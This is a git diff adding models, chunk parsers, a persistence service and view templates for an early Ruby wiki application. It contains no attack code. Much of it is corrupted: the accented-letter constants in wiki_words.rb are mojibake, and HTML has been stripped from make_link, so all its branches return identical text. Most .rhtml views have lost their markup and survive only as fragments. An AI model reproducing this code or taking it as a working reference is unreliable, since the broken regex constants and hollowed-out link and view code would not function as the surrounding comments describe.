+  # Otherwise only keep this chunk if it was substituted back into the
+  # content.
+  def unmask(content) 
+    return nil if escaped_text
+    return self if content.sub!( Regexp.new(mask(content)), "#{link_text}" )
+  end
+
+  # If there is no hostname in the URI, do not render it
+  # It's probably only contains the scheme, eg 'something:' 
+  def escaped_text() ( host.nil? ? @uri : nil )  end
+end
diff --git a/app/models/chunks/wiki.rb b/app/models/chunks/wiki.rb
new file mode 100755
index 00000000..d68bbd39
--- /dev/null
+++ b/app/models/chunks/wiki.rb
@@ -0,0 +1,83 @@
+require 'wiki_words'
+require 'chunks/chunk'
+require 'cgi'
+
+# Contains all the methods for finding and replacing wiki related
+# links.
+module WikiChunk
+  include Chunk
+
+  # A wiki link is the top-level class for anything that refers to
+  # another wiki page.
+  class WikiLink < Chunk::Abstract
+    # By default, no escaped text
+    def escaped_text() nil end
+
+    # Delimit the link text with markers to replace later unless
+    # the word is escaped. In that case, just return the link text
+    def mask(content) escaped_text || pre_mask + link_text + post_mask end
+
+    def regexp() Regexp.new(pre_mask + '(.*)?' + post_mask) end
+
+    def revert(content) content.sub!(regexp, text) end
+
+    # Do not keep this chunk if it is escaped.
+    # Otherwise, pass the link procedure a page_name and link_text and
+    # get back a string of HTML to replace the mask with.
+    def unmask(content)
+      return nil if escaped_text
+      return self if content.sub!(regexp) { |match| content.page_link(page_name, $1) }
+    end
+  end
+
+  # This chunk matches a WikiWord. WikiWords can be escaped
+  # by prepending a '\'. When this is the case, the +escaped_text+
+  # method will return the WikiWord instead of the usual +nil+.
+  # The +page_name+ method returns the matched WikiWord.
+  class Word < WikiLink
+    def self.pattern
+      Regexp.new('(\\\\)?(' + WikiWords::WIKI_WORD_PATTERN + ')\b', 0, "utf-8")
+    end
+
+    attr_reader :page_name
+
+    def initialize(match_data)
+      super(match_data)
+      @escape = match_data[1]
+      @page_name = match_data[2]
+    end
+
+    def escaped_text() (@escape.nil? ? nil : page_name) end
+    def link_text() WikiWords.separate(page_name) end	
+  end
+
+  # This chunk handles [[bracketted wiki words]] and 
+  # [[AliasedWords|aliased wiki words]]. The first part of an
+  # aliased wiki word must be a WikiWord. If the WikiWord
+  # is aliased, the +link_text+ field will contain the
+  # alias, otherwise +link_text+ will contain the entire
+  # contents within the double brackets.
+  #
+  # NOTE: This chunk must be tested before WikiWord since
+  #       a WikiWords can be a substring of a WikiLink. 
+  class Link < WikiLink
+    def self.pattern() /\[\[([^\]]+)\]\]/ end
+    
+    ALIASED_LINK_PATTERN ||= Regexp.new('^(.*)?\|(.*)$', 0, "utf-8") 
+
+    attr_reader :page_name, :link_text
+
+    def initialize(match_data)
+      super(match_data)
+
+	  # If the like is aliased, set the page name to the first bit
+	  # and the link text to the second, otherwise set both to the
+	  # contents of the double brackets.
+      if match_data[1] =~ ALIASED_LINK_PATTERN
+        @page_name, @link_text = $1, $2
+      else
+        @page_name, @link_text = match_data[1], match_data[1]
+      end
+    end
+  end
+end
diff --git a/app/models/page.rb b/app/models/page.rb
new file mode 100755
index 00000000..d6b0b894
--- /dev/null
+++ b/app/models/page.rb
@@ -0,0 +1,86 @@
+require "date"
+require "page_lock"
+require "revision"
+require "wiki_words"
+require "chunks/wiki"
+
+class Page
+  include PageLock
+
+  CONTINOUS_REVISION_PERIOD = 30 * 60 # 30 minutes
+
+  attr_reader :name, :revisions, :web
+  
+  def initialize(web, name, content, created_at, author)
+    @web, @name, @revisions = web, name, []
+    revise(content, created_at, author)
+  end
+
+  def revise(content, created_at, author)
+    if !@revisions.empty? && continous_revision?(created_at, author)
+      @revisions.last.created_at = Time.now
+      @revisions.last.content    = content
+      @revisions.last.clear_display_cache
+    else
+      @revisions << Revision.new(self, @revisions.length, content, created_at, author)
+    end
+    
+    web.refresh_pages_with_references(name) if @revisions.length == 1
+  end
+  
+  def rollback(revision_number, created_at, author_ip = nil)
+    roll_back_revision = @revisions[revision_number].dup
+    revise(roll_back_revision.content, created_at, Author.new(roll_back_revision.author, author_ip))
+  end
+  
+  def revisions?
+    revisions.length > 1
+  end
+  
+  def revised_on
+    created_on
+  end
+  
+  def pretty_revised_on
+    DateTime.new(revised_on.year, revised_on.mon, revised_on.day).strftime "%B %e, %Y" 
+  end
+  
+  def in_category?(cat)
+    cat.nil? || cat.empty? || categories.include?(cat)
+  end
+
+  def categories
+    display_content.find_chunks(Category).map { |cat| cat.list }.flatten
+  end
+  
+  def authors
+    revisions.collect { |rev| rev.author }
+  end
+
+  def references
+    web.select.pages_that_reference(name)
+  end
+
+  # Returns the original wiki-word name as separate words, so "MyPage" becomes "My Page".
+  def plain_name
+    WikiWords.separate(name, web.brackets_only)
+  end
+
+  def link(options = {})
+    web.make_link(name, nil, options)
+  end
+  
+  def author_link(options = {})
+    web.make_link(author, nil, options)
+  end
+  
+  private
+    def continous_revision?(created_at, author)
+      @revisions.last.author == author && @revisions.last.created_at + CONTINOUS_REVISION_PERIOD > created_at
+    end
+  
+    # Forward method calls to the current revision, so the page responds to all revision calls
+    def method_missing(method_symbol)
+      revisions.last.send(method_symbol)
+    end
+end
\ No newline at end of file
diff --git a/app/models/page_lock.rb b/app/models/page_lock.rb
new file mode 100755
index 00000000..553c9868
--- /dev/null
+++ b/app/models/page_lock.rb
@@ -0,0 +1,24 @@
+# Contains all the lock methods to be mixed in with the page
+module PageLock
+  LOCKING_PERIOD = 30 * 60 # 30 minutes
+
+  def lock(time, locked_by)
+    @locked_at, @locked_by = time, locked_by
+  end
+  
+  def lock_duration(time)
+    ((time - @locked_at) / 60).to_i unless @locked_at.nil?
+  end
+  
+  def unlock
+    @locked_at = nil
+  end
+  
+  def locked?(comparison_time)
+    @locked_at + LOCKING_PERIOD > comparison_time unless @locked_at.nil?
+  end
+
+  def locked_by_link
+    web.make_link(@locked_by)
+  end
+end
\ No newline at end of file
diff --git a/app/models/page_set.rb b/app/models/page_set.rb
new file mode 100755
index 00000000..608ac9f1
--- /dev/null
+++ b/app/models/page_set.rb
@@ -0,0 +1,73 @@
+# Container for a set of pages with methods for manipulation.
+
+class PageSet < Array
+  attr_reader :web
+
+  def initialize(web, pages = nil, condition = nil)
+    @web = web
+    # if pages is not specified, make a list of all pages in the web
+    if pages.nil?
+      super(web.pages.values)
+    # otherwise use specified pages and condition to produce a set of pages
+    elsif condition.nil?
+      super(pages)
+    else
+      super(pages.select { |page| condition[page] })
+    end
+  end
+
+  def most_recent_revision
+    self.map { |page| page.created_at }.max || Time.at(0)
+  end
+
+
+  def by_name
+    PageSet.new(@web, sort_by { |page| page.name })
+  end
+
+  alias :sort :by_name
+
+  def by_revision
+    PageSet.new(@web, sort_by { |page| page.created_at }).reverse 
+  end
+  
+  def pages_that_reference(page_name)
+    self.select { |page| page.wiki_words.include?(page_name) }
+  end
+
+  def pages_authored_by(author)
+    self.select { |page| page.authors.include?(author) }
+  end
+
+  def characters
+    self.inject(0) { |chars,page| chars += page.content.size }
+  end
+
+  # Returns all the orphaned pages in this page set. That is,
+  # pages in this set for which there is no reference in the web.
+  # The HomePage and author pages are always assumed to have
+  # references and so cannot be orphans
+  def orphaned_pages
+    references = web.select.wiki_words + ["HomePage"] + web.select.authors
+    self.reject { |page| references.include?(page.name) } 
+  end
+
+  # Returns all the wiki words in this page set for which
+  # there are no pages in this page set's web
+  def wanted_pages
+    wiki_words - web.select.names
+  end
+
+  def names
+    self.map { |page| page.name }
+  end
+
+  def wiki_words
+    self.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+  end
+
+  def authors
+    self.inject([]) { |authors, page| authors << page.authors }.flatten.uniq.sort
+  end
+
+end
\ No newline at end of file
diff --git a/app/models/revision.rb b/app/models/revision.rb
new file mode 100755
index 00000000..00a80a02
--- /dev/null
+++ b/app/models/revision.rb
@@ -0,0 +1,90 @@
+$: << File.dirname(__FILE__) + "../../libraries"
+
+require "diff"
+
+require "wiki_content"
+require "chunks/wiki"
+
+require "date"
+require "author"
+require "page"
+
+class Revision
+  attr_accessor :page, :number, :content, :created_at, :author
+
+  def initialize(page, number, content, created_at, author)
+    @page, @number, @created_at, @author = page, number, created_at, author
+    self.content = content
+  end
+
+  # Ensure that the wiki content is parsed when ever it is updated.
+  def content=(content)
+    @content = content
+  end
+
+  def created_on
+    Date.new(@created_at.year, @created_at.mon, @created_at.day)
+  end
+
+  def pretty_created_at
+    # Must use DateTime because Time doesn't support %e on at least some platforms
+    DateTime.new(
+      @created_at.year, @created_at.mon, @created_at.day, @created_at.hour, @created_at.min
+    ).strftime "%B %e, %Y %H:%M" 
+  end
+
+  def next_revision
+    page.revisions[number + 1]
+  end
+
+  def previous_revision
+    number - 1 >= 0 && page.revisions[number - 1]
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  def wiki_words
+    unless @wiki_words_cache 
+      wiki_chunks = display_content.find_chunks(WikiChunk::WikiLink)
+      @wiki_words_cache = wiki_chunks.map { |c| ( c.escaped_text ? nil : c.page_name ) }.compact.uniq
+    end
+    @wiki_words_cache
+  end  
+
+  # Returns an array of all the WikiWords present in the content of this revision.
+  # that already exists as a page in the web.
+  def existing_pages
+    wiki_words.select { |wiki_word| page.web.pages[wiki_word] }
+  end
+
+  # Returns an array of all the WikiWords present in the content of this revision
+  # that *doesn't* already exists as a page in the web.
+  def unexisting_pages
+    wiki_words - existing_pages
+  end  
+
+	# Explicit check for new type of display cache with find_chunks method.
+	# Ensures new version works with older snapshots.
+  def display_content
+    unless @display_cache && @display_cache.respond_to?(:find_chunks)
+      @display_cache = WikiContent.new(self)
+    end
+    @display_cache
+  end
+
+  def display_diff
+    previous_revision ? HTMLDiff.diff(previous_revision.display_content, display_content) : display_content
+  end
+
+  def clear_display_cache
+    @display_cache = @published_cache = @wiki_words_cache = nil
+  end
+  
+  def display_published
+    @published_cache = WikiContent.new(self, {:mode => :publish}) if @published_cache.nil?
+    @published_cache
+  end
+
+  def display_content_for_export
+    WikiContent.new(self, {:mode => :export} )
+  end  
+end
\ No newline at end of file
diff --git a/app/models/web.rb b/app/models/web.rb
new file mode 100755
index 00000000..d4d249df
--- /dev/null
+++ b/app/models/web.rb
@@ -0,0 +1,89 @@
+require "cgi"
+require "page"
+require "page_set"
+require "wiki_words"
+require "zip/zip"
+
+class Web
+  attr_accessor :pages, :name, :address, :password
+  attr_accessor :markup, :color, :safe_mode, :additional_style, :published, :brackets_only, :count_pages
+  
+  def initialize(name, address, password = nil)
+    @name, @address, @password, @safe_mode = name, address, password, false
+    @pages = {}
+  end
+
+  def add_page(page)
+    @pages[page.name] = page
+  end
+
+  def remove_pages(pages_to_be_removed)
+    pages.delete_if { |page_name, page| pages_to_be_removed.include?(page) }
+  end
+  
+  def select(&condition)
+    PageSet.new(self, @pages.values, condition)
+  end
+  
+  def revised_on
+    select.most_recent_revision
+  end
+    
+  def authors 
+    select.authors 
+  end
+
+  def categories
+    select.map { |page| page.categories }.flatten.uniq.sort
+  end
+
+  # Create a link for the given page name and link text based
+  # on the render mode in options and whether the page exists
+  # in the this web.
+  def make_link(name, text = nil, options = {})
+    page = pages[name]
+    text = text || WikiWords.separate(name)
+    link = CGI.escape(name)
+    
+    case options[:mode]
+      when :export
+        if page then "#{text}"
+        else "#{text}" end
+      when :publish
+        if page then "#{text}"
+        else "#{text}" end
+      else
+        if page then "#{text}"
+        else "#{text}?" end
+    end
+  end
+
+
+  # Clears the display cache for all the pages with references to 
+  def refresh_pages_with_references(page_name)
+    select.pages_that_reference(page_name).each { |page| 
+      page.revisions.each { |revision| revision.clear_display_cache }
+    }
+  end
+  
+  def refresh_revisions
+    select.each { |page| page.revisions.each { |revision| revision.clear_display_cache } }
+  end
+  
+  # Default values
+  def markup()        @markup || :textile end
+  def color()         @color  || "008B26" end
+  def brackets_only() @brackets_only || false end
+  def count_pages()   @count_pages || false end
+
+  private
+    # Returns an array of all the wiki words in any current revision
+    def wiki_words
+      pages.values.inject([]) { |wiki_words, page| wiki_words << page.wiki_words }.flatten.uniq
+    end
+    
+    # Returns an array of all the page names on this web
+    def page_names
+      pages.keys
+    end
+end
\ No newline at end of file
diff --git a/app/models/wiki_content.rb b/app/models/wiki_content.rb
new file mode 100755
index 00000000..846a28b5
--- /dev/null
+++ b/app/models/wiki_content.rb
@@ -0,0 +1,105 @@
+require 'cgi'
+require 'chunks/engines'
+require 'chunks/category'
+require 'chunks/include'
+require 'chunks/wiki'
+require 'chunks/literal'
+require 'chunks/uri'
+require 'chunks/nowiki'
+
+# Wiki content is just a string that can process itself with a chain of
+# actions. The actions can modify wiki content so that certain parts of
+# it are protected from being rendered by later actions.
+#
+# When wiki content is rendered, it can be interrogated to find out 
+# which chunks were rendered. This means things like categories, wiki 
+# links, can be determined.
+#
+# Exactly how wiki content is rendered is determined by a number of 
+# settings that are optionally passed in to a constructor. The current
+# options are:
+#  * :engine 
+#    => The structural markup engine to use (Textile, Markdown, RDoc)
+#  * :engine_opts
+#    => A list of options to pass to the markup engines (safe modes, etc)
+#  * :pre_engine_actions
+#    => A list of render actions or chunks to be processed before the
+#       markup engine is applied. By default this is:    
+#       Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word        
+#  * :post_engine_actions
+#    => A list of render actions or chunks to apply after the markup 
+#       engine. By default these are:    
+#       Literal::Pre, Literal::Tags
+#  * :mode
+#    => How should the content be rendered? For normal display (:display), 
+#       publishing (:publish) or export (:export)?
+#
+# AUTHOR: Mark Reid 
+# CREATED: 15th May 2004
+# UPDATED: 22nd May 2004
+class WikiContent < String
+
+  PRE_ENGINE_ACTIONS  = [ NoWiki, Category, Include, URIChunk, WikiChunk::Link, WikiChunk::Word ] 
+  POST_ENGINE_ACTIONS = [ Literal::Pre, Literal::Tags ]
+  DEFAULT_OPTS = {
+    :pre_engine_actions  => PRE_ENGINE_ACTIONS,
+    :post_engine_actions => POST_ENGINE_ACTIONS,
+    :engine              => Engines::Textile,
+    :engine_opts         => [],
+    :mode                => [:display]
+  }
+
+  attr_reader :web, :options, :rendered
+
+  # Create a new wiki content string from the given one.
+  # The options are explained at the top of this file.
+  def initialize(revision, options = {})
+    @revision = revision
+    @web = @revision.page.web
+
+    # Deep copy of DEFAULT_OPTS to ensure that changes to PRE/POST_ENGINE_ACTIONS stay local
+    @options = Marshal.load(Marshal.dump(DEFAULT_OPTS)).update(options)
+    @options[:engine] = Engines::MAP[@web.markup] || Engines::Textile
+    @options[:engine_opts] = (@web.safe_mode ? [:filter_html, :filter_styles] : [])
+
+    @options[:pre_engine_actions].delete(WikiChunk::Word) if @web.brackets_only
+
+    super(@revision.content)
+
+    begin
+      render!(@options[:pre_engine_actions] + [@options[:engine]] + @options[:post_engine_actions])
+    rescue => e
+      @rendered = e.message
+    end
+  end
+
+  # Call @web.page_link using current options.
+  def page_link(name, text) 
+    @web.make_link(name, text, @options) 
+  end
+
+  # Find all the chunks of the given types
+  def find_chunks(chunk_type)
+    rendered.select { |chunk| chunk.kind_of?(chunk_type) }
+  end
+
+  # Render this content using the specified actions.
+  def render!(chunk_types)
+    @chunks = []
+    chunk_types.each { |chunk_type| self.apply_type!(chunk_type) }
+    
+    @rendered = @chunks.map { |chunk| chunk.unmask(self) }.compact
+    (@chunks - @rendered).each { |chunk| chunk.revert(self) }
+  end
+  
+  # Find all the chunks of the given type in this content
+  # Each time the type's pattern is matched, create a new
+  # chunk for it, and replace the occurance of the chunk
+  # in this content with its mask.
+  def apply_type!(chunk_type)
+    self.gsub!( chunk_type.pattern ) do |match|	
+      @chunks << chunk_type.new($~)
+      @chunks.last.mask(self)
+    end
+  end
+end
\ No newline at end of file
diff --git a/app/models/wiki_service.rb b/app/models/wiki_service.rb
new file mode 100755
index 00000000..fc4ee56e
--- /dev/null
+++ b/app/models/wiki_service.rb
@@ -0,0 +1,168 @@
+require 'open-uri'
+require 'yaml'
+require 'madeleine'
+require 'madeleine/automatic'
+require 'madeleine/zmarshal'
+
+require 'web'
+require 'page'
+require 'author'
+
+module AbstractWikiService
+
+  attr_reader :webs, :system
+
+  def authenticate(password)
+    password == (@system[:password] || 'instiki')
+  end
+
+  def create_web(name, address, password = nil)
+    @webs[address] = Web.new(name, address, password) unless @webs[address]
+  end
+
+  def init_wiki_service
+    @webs = {}
+    @system = {}
+  end
+  
+  def read_page(web_address, page_name)
+    ApplicationController.logger.debug "Reading page '#{page_name}' from web '#{web_address}'"
+    web = @webs[web_address]
+    if web.nil?
+      ApplicationController.logger.debug "Web '#{web_address}' not found"
+      return nil
+    else
+      page = web.pages[page_name]
+      ApplicationController.logger.debug "Page '#{page_name}' #{page.nil? ? 'not' : ''} found"
+      return page
+    end
+  end
+
+  def remove_orphaned_pages(web_address)
+    @webs[web_address].remove_pages(@webs[web_address].select.orphaned_pages)
+  end
+  
+  def revise_page(web_address, page_name, content, revised_on, author)
+    page = read_page(web_address, page_name)
+    page.revise(content, revised_on, author)
+    page
+  end
+
+  def rollback_page(web_address, page_name, revision_number, created_at, author_id = nil)
+    page = read_page(web_address, page_name)
+    page.rollback(revision_number, created_at, author_id)
+    page
+  end
+  
+  def setup(password, web_name, web_address)
+    @system[:password] = password
+    create_web(web_name, web_address)
+  end
+
+  def setup?
+    not (@webs.empty?)
+  end
+
+  def update_web(old_address, new_address, name, markup, color, additional_style, safe_mode = false, 
+      password = nil, published = false, brackets_only = false, count_pages = false)
+    if old_address != new_address
+      @webs[new_address] = @webs[old_address]
+      @webs.delete(old_address)
+      @webs[new_address].address = new_address
+    end
+    
+    web = @webs[new_address]
+    web.refresh_revisions if settings_changed?(web, markup, safe_mode, brackets_only)
+    
+    web.name, web.markup, web.color, web.additional_style, web.safe_mode = 
+      name, markup, color, additional_style, safe_mode
+      
+    web.password, web.published, web.brackets_only, web.count_pages =
+      password, published, brackets_only, count_pages
+  end
+
+  def write_page(web_address, page_name, content, written_on, author)
+    page = Page.new(@webs[web_address], page_name, content, written_on, author)
+    @webs[web_address].add_page(page)
+    page
+  end
+  
+  private
+    def settings_changed?(web, markup, safe_mode, brackets_only)
+      web.markup != markup || 
+      web.safe_mode != safe_mode || 
+      web.brackets_only != brackets_only
+    end
+end
+
+class WikiService
+
+  include AbstractWikiService
+  include Madeleine::Automatic::Interceptor
+
+  @@storage_path = self.name.downcase + '_storage'
+
+  class << self
+    def storage_path
+      @@storage_path
+    end
+  
+    def storage_path=(storage_path)
+      @@storage_path = storage_path
+    end
+
+    def clean_storage
+      MadeleineServer.clean_storage(self)
+    end
+
+    def instance
+      @system ||= MadeleineServer.new(self).system
+    end
+  end
+
+  def initialize
+    init_wiki_service
+  end
+
+end
+
+class MadeleineServer
+  SNAPSHOT_INTERVAL   = 60 * 60 * 24 # Each day
+  AUTOMATIC_SNAPSHOTS = true
+
+  # Clears all the command_log and snapshot files located in the storage directory, so the
+  # database is essentially dropped and recreated as blank
+  def self.clean_storage(service)
+    begin 
+      Dir.foreach(service.storage_path) do |file|
+        if file =~ /(command_log|snapshot)$/
+          File.delete(File.join(service.storage_path, file))
+        end
+      end
+    rescue
+      Dir.mkdir(service.storage_path)
+    end
+  end
+
+  def initialize(service)
+    @server = Madeleine::Automatic::AutomaticSnapshotMadeleine.new(service.storage_path, 
+      Madeleine::ZMarshal.new) {
+      service.new
+    }
+    start_snapshot_thread if AUTOMATIC_SNAPSHOTS
+  end
+
+  def system
+    @server.system
+  end
+
+  def start_snapshot_thread
+    Thread.new(@server) {
+      while true
+        sleep(SNAPSHOT_INTERVAL)
+        @server.take_snapshot
+      end
+    }
+  end
+  
+end
diff --git a/app/models/wiki_words.rb b/app/models/wiki_words.rb
new file mode 100755
index 00000000..5cb60ac8
--- /dev/null
+++ b/app/models/wiki_words.rb
@@ -0,0 +1,25 @@
+# Contains all the methods for finding and replacing wiki words
+module WikiWords
+  # In order of appearance: Latin, greek, cyrillian, armenian
+  I18N_HIGHER_CASE_LETTERS =
+    "ÀÃÂÃÄÅĀĄĂÆÇĆČĈĊĎÄÈÉÊËĒĘĚĔĖĜĞĠĢĤĦÌÃÃŽÃĪĨĬĮİIJĴĶÅĽĹĻĿÑŃŇŅŊÒÓÔÕÖØŌÅŎŒŔŘŖŚŠŞŜȘŤŢŦȚÙÚÛÜŪŮŰŬŨŲŴÃŶŸŹŽŻ" + 
+    "ΑΒΓΔΕΖΗΘΙΚΛΜÎΞΟΠΡΣΤΥΦΧΨΩ" + 
+    "ΆΈΉΊΌΎÎѠѢѤѦѨѪѬѮѰѲѴѶѸѺѼѾҀҊҌҎÒҒҔҖҘҚҜҞҠҢҤҦҨҪҬҮҰҲҴҶҸҺҼҾÓÓƒÓ…Ó‡Ó‰Ó‹ÓÓӒӔӖӘӚӜӞӠӢӤӦӨӪӬӮӰӲӴӸЖ" +
+    "Ô±Ô²Ô³Ô´ÔµÔ¶Ô·Ô¸Ô¹ÔºÔ»Ô¼Ô½Ô¾Ô¿Õ€ÕÕ‚ÕƒÕ„Õ…Õ†Õ‡ÕˆÕ‰ÕŠÕ‹ÕŒÕÕÕÕ‘Õ’Õ“Õ”Õ•Õ–"
+
+  I18N_LOWER_CASE_LETTERS =
+    "àáâãäåÄąăæçćÄĉċÄđèéêëēęěĕėƒÄğġģĥħìíîïīĩĭįıijĵķĸłľĺļŀñńňņʼnŋòóôõöøÅÅ‘ÅœŕřŗśšşÅșťţŧțùúûüūůűŭũųŵýÿŷžżźÞþßſÃð" +
+    "άέήίΰαβγδεζηθικλμνξοπÏςστυφχψωϊϋόÏÏŽÎ" +
+    "абвгдежзийклмнопрÑтуфхцчшщъыьÑÑŽÑÑёђѓєѕіїјљћќÑўџѡѣѥѧѩѫѭѯѱѳѵѷѹѻѽѿÒÒ‹ÒÒÒ‘Ò“Ò•Ò—Ò™Ò›ÒҟҡңҥҧҩҫҭүұҳҵҷҹһҽҿӀӂӄӆӈӊӌӎӑӓӕӗәӛÓÓŸÓ¡Ó£Ó¥Ó§Ó©Ó«Ó­Ó¯Ó±Ó³ÓµÓ¹" +
+    "Õ¡Õ¢Õ£Õ¤Õ¥Õ¦Õ§Õ¨Õ©ÕªÕ«Õ¬Õ­Õ®Õ¯Õ°Õ±Õ²Õ³Õ´ÕµÕ¶Õ·Õ¸Õ¹ÕºÕ»Õ¼Õ½Õ¾Õ¿Ö€ÖÖ‚ÖƒÖ„Ö…Ö†Ö‡"
+
+  WIKI_WORD_PATTERN = '[A-Z' + I18N_HIGHER_CASE_LETTERS + '][a-z' + I18N_LOWER_CASE_LETTERS + ']+[A-Z' + I18N_HIGHER_CASE_LETTERS + ']\w+'
+
+  def self.separate(wiki_word, ignore_separation = false)
+    if ignore_separation
+      wiki_word
+    else
+      wiki_word.gsub(/([a-z#{I18N_LOWER_CASE_LETTERS}])([A-Z#{I18N_HIGHER_CASE_LETTERS}])/u, '\1 \2')
+    end
+  end
+end
\ No newline at end of file
diff --git a/app/views/bottom.rhtml b/app/views/bottom.rhtml
new file mode 100755
index 00000000..01ab2b28
--- /dev/null
+++ b/app/views/bottom.rhtml
@@ -0,0 +1,4 @@
+  
+
+
+
\ No newline at end of file
diff --git a/app/views/markdown_help.rhtml b/app/views/markdown_help.rhtml
new file mode 100755
index 00000000..9f1b6981
--- /dev/null
+++ b/app/views/markdown_help.rhtml
@@ -0,0 +1,16 @@
+
+

Markdown formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
**your text**your text
`my code`my code
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
1. Second item
1. Numbered list
2. Second item
[link name](URL)link name
***Horizontal ruler
<http://url>
<email@add.com>
Auto-linked
![Alt text](URL)Image
+ + <%= render 'wiki_words_help' %> +
\ No newline at end of file diff --git a/app/views/navigation.rhtml b/app/views/navigation.rhtml new file mode 100755 index 00000000..55bb16b1 --- /dev/null +++ b/app/views/navigation.rhtml @@ -0,0 +1,25 @@ +<% +def list_item(title, url, description, accesskey = nil) + if @title == title + "#{title}" + else + "#{title}" + end +end +%> + + diff --git a/app/views/rdoc_help.rhtml b/app/views/rdoc_help.rhtml new file mode 100755 index 00000000..1f8fd81c --- /dev/null +++ b/app/views/rdoc_help.rhtml @@ -0,0 +1,16 @@ +
+

RDoc formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
*your text*your text
* Bulleted list
* Second item
• Bulleted list
• Second item
1. Numbered list
2. Second item
1. Numbered list
2. Second item
+my_code+my_code
---Horizontal ruler
[[URL linkname]]linkname
http://url
mailto:e@add.com
Auto-linked
imageURLImage
+ + <%= render 'wiki_words_help' %> +
\ No newline at end of file diff --git a/app/views/textile_help.rhtml b/app/views/textile_help.rhtml new file mode 100755 index 00000000..94c2677a --- /dev/null +++ b/app/views/textile_help.rhtml @@ -0,0 +1,28 @@ +
+

Textile formatting tips (advanced)

+ + + + + + + + + + +
_your text_your text
*your text*your text
%{color:red}hello%hello
* Bulleted list
* Second item
• Bulleted list
• Second item
# Numbered list
# Second item
1. Numbered list
2. Second item
"linkname":URLlinkname
|a|table|row|
|b|table|row|
Table
http://url
email@address.com
Auto-linked
!imageURL!Image
+ + <%= render 'wiki_words_help' %> +
+ + \ No newline at end of file diff --git a/app/views/top.rhtml b/app/views/top.rhtml new file mode 100755 index 00000000..bb216eb8 --- /dev/null +++ b/app/views/top.rhtml @@ -0,0 +1,49 @@ + + + + + <% if @page and (@page.name == 'HomePage') and (%w( show published print ).include?(@action_name)) %> + <%= @web.name %> + <% elsif @web %> + <%= @title %> in <%= @web.name %> + <% else %> + <%= @title %> + <% end %> + + + + + + + + + + + +
+
+ +

+ <% if @page and (@page.name == 'HomePage') and %w( show published print ).include?(@action_name) %> + <%= @web.name %> + <% elsif @web %> + <%= @web.name %>
+ <%= @title %> + <% else %> + <%= @title %> + <% end %> +

+ + <%= render 'navigation' unless @web.nil? || @hide_navigation %> diff --git a/app/views/wiki/authors.rhtml b/app/views/wiki/authors.rhtml new file mode 100755 index 00000000..e4d87eef --- /dev/null +++ b/app/views/wiki/authors.rhtml @@ -0,0 +1,13 @@ +<% @title = 'Authors' %><%= render 'top' %> + +
    + <% for author in @authors %> +
  • + <%= @web.make_link(author) %> + co- or authored: + <%= @web.select.pages_authored_by(author).collect { |page| page.link }.join ', ' %> +
  • + <% end %> +
+ +<%= render 'bottom' %> diff --git a/app/views/wiki/edit.rhtml b/app/views/wiki/edit.rhtml new file mode 100755 index 00000000..92e78053 --- /dev/null +++ b/app/views/wiki/edit.rhtml @@ -0,0 +1,31 @@ +<% + @title = "Editing #{@page.name}" + @content_width = 720 + @hide_navigation = true +%><%= render 'top' %> + +<%= "

Please correct the error that caused this error in rendering:
#{@params["msg"]}

" if @params["msg"] %> + +<%= render("#{@web.markup}_help") if @web %> + +
+

+ +

+

+ as + + | Cancel (unlocks page) +

+
+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/edit_web.rhtml b/app/views/wiki/edit_web.rhtml new file mode 100755 index 00000000..f1903234 --- /dev/null +++ b/app/views/wiki/edit_web.rhtml @@ -0,0 +1,138 @@ +<% @title = "Edit Web" %><%= render 'top' %> + +
+

Name and address

+
+ The name of the web is included in the title on all pages. The address is the base path that all pages within the web live beneath. + Ex: the address "rails" gives URLs like /rails/show/HomePage. +
+ +
+ Name:    + Address: + (Letters & digits only) +
+ +

Specialize

+
+ Turning safe mode on will strip HTML tags and stylesheet options from the content of all pages. + Turning on "brackets only" will require all wiki words to be as [[wiki word]] and WikiWord won't work. + Additions to the stylesheet take precedence over the existing styles. Hint: View source on a page you want to + style to find ID names on individual tags. See styles >> +
+
+ Markup: + + +    + + Color: + + +    + + + + > Safe mode + +    + + > Brackets only + +    + + > Count pages + + + + +
+ +

Password protection for this web (<%= @web.name %>)

+
+ This is the password that visitors need to view and edit this web. Setting the password to nothing will remove the password protection. +
+
+ Password:    + Verify: +
+ +

Publish read-only version of this web (<%= @web.name %>)

+
+ You can turn on a read-only version of this web that's accessible even when the regular web is password protected. + The published version is accessible through URLs like /wiki/published/HomePage. +
+
+ > Publish this web +
+ +

+ + Enter system password + + and + +

+ ...or forget changes and create a new web +
+

+ +
+ +
+

Other administrative tasks

+ +
+ +

+ + Clean up by entering system password + + and + + +

+ + + +<%= render 'bottom' %> \ No newline at end of file diff --git a/app/views/wiki/export.rhtml b/app/views/wiki/export.rhtml new file mode 100755 index 00000000..5712a987 --- /dev/null +++ b/app/views/wiki/export.rhtml @@ -0,0 +1,14 @@ +<% @title = "Export" %><%= render 'top' %> + +

You can export all the pages in this web as a zip file in either HTML (with working links and all) or the pure markup (to import in another wiki).

+ + + +<%= render 'bottom' %> diff --git a/app/views/wiki/feeds.rhtml b/app/views/wiki/feeds.rhtml new file mode 100755 index 00000000..cc0169bb --- /dev/null +++ b/app/views/wiki/feeds.rhtml @@ -0,0 +1,10 @@ +<% @title = "Feeds" %><%= render 'top' %> + +

You can subscribe to this wiki by RSS and get either just the headlines of the pages that change or the entire page.

+ + + +<%= render 'bottom' %> diff --git a/app/views/wiki/list.rhtml b/app/views/wiki/list.rhtml new file mode 100755 index 00000000..3f416229 --- /dev/null +++ b/app/views/wiki/list.rhtml @@ -0,0 +1,59 @@ +<% @title = "All Pages" %><%= render 'top' %> + +<% unless @categories.empty? %> +
+ Categories: + [Any] + <%= @category_links.join(', ') %> +
+<% end %> + +
+<% unless @pages_that_are_orphaned.empty? && @page_names_that_are_wanted.empty? %> +

+ All Pages +
All pages in <%= @set_name %> listed alphabetically +

+<% end %> + + + +<% if @web.count_pages %> + <% total_chars = @pages_in_category.characters %> +

All content: <%= total_chars %> chars / <%= sprintf("%-.1f", (total_chars / 2275 )) %> pages

+<% end %> +
+ +
+<% unless @page_names_that_are_wanted.empty? %> +

+ Wanted Pages +
Unexisting pages that other pages in <%= @set_name %> reference +

+ + +<% end %> + +<% unless @pages_that_are_orphaned.empty? %> +

+ Orphaned Pages +
Pages in <%= @set_name %> that no other page reference +
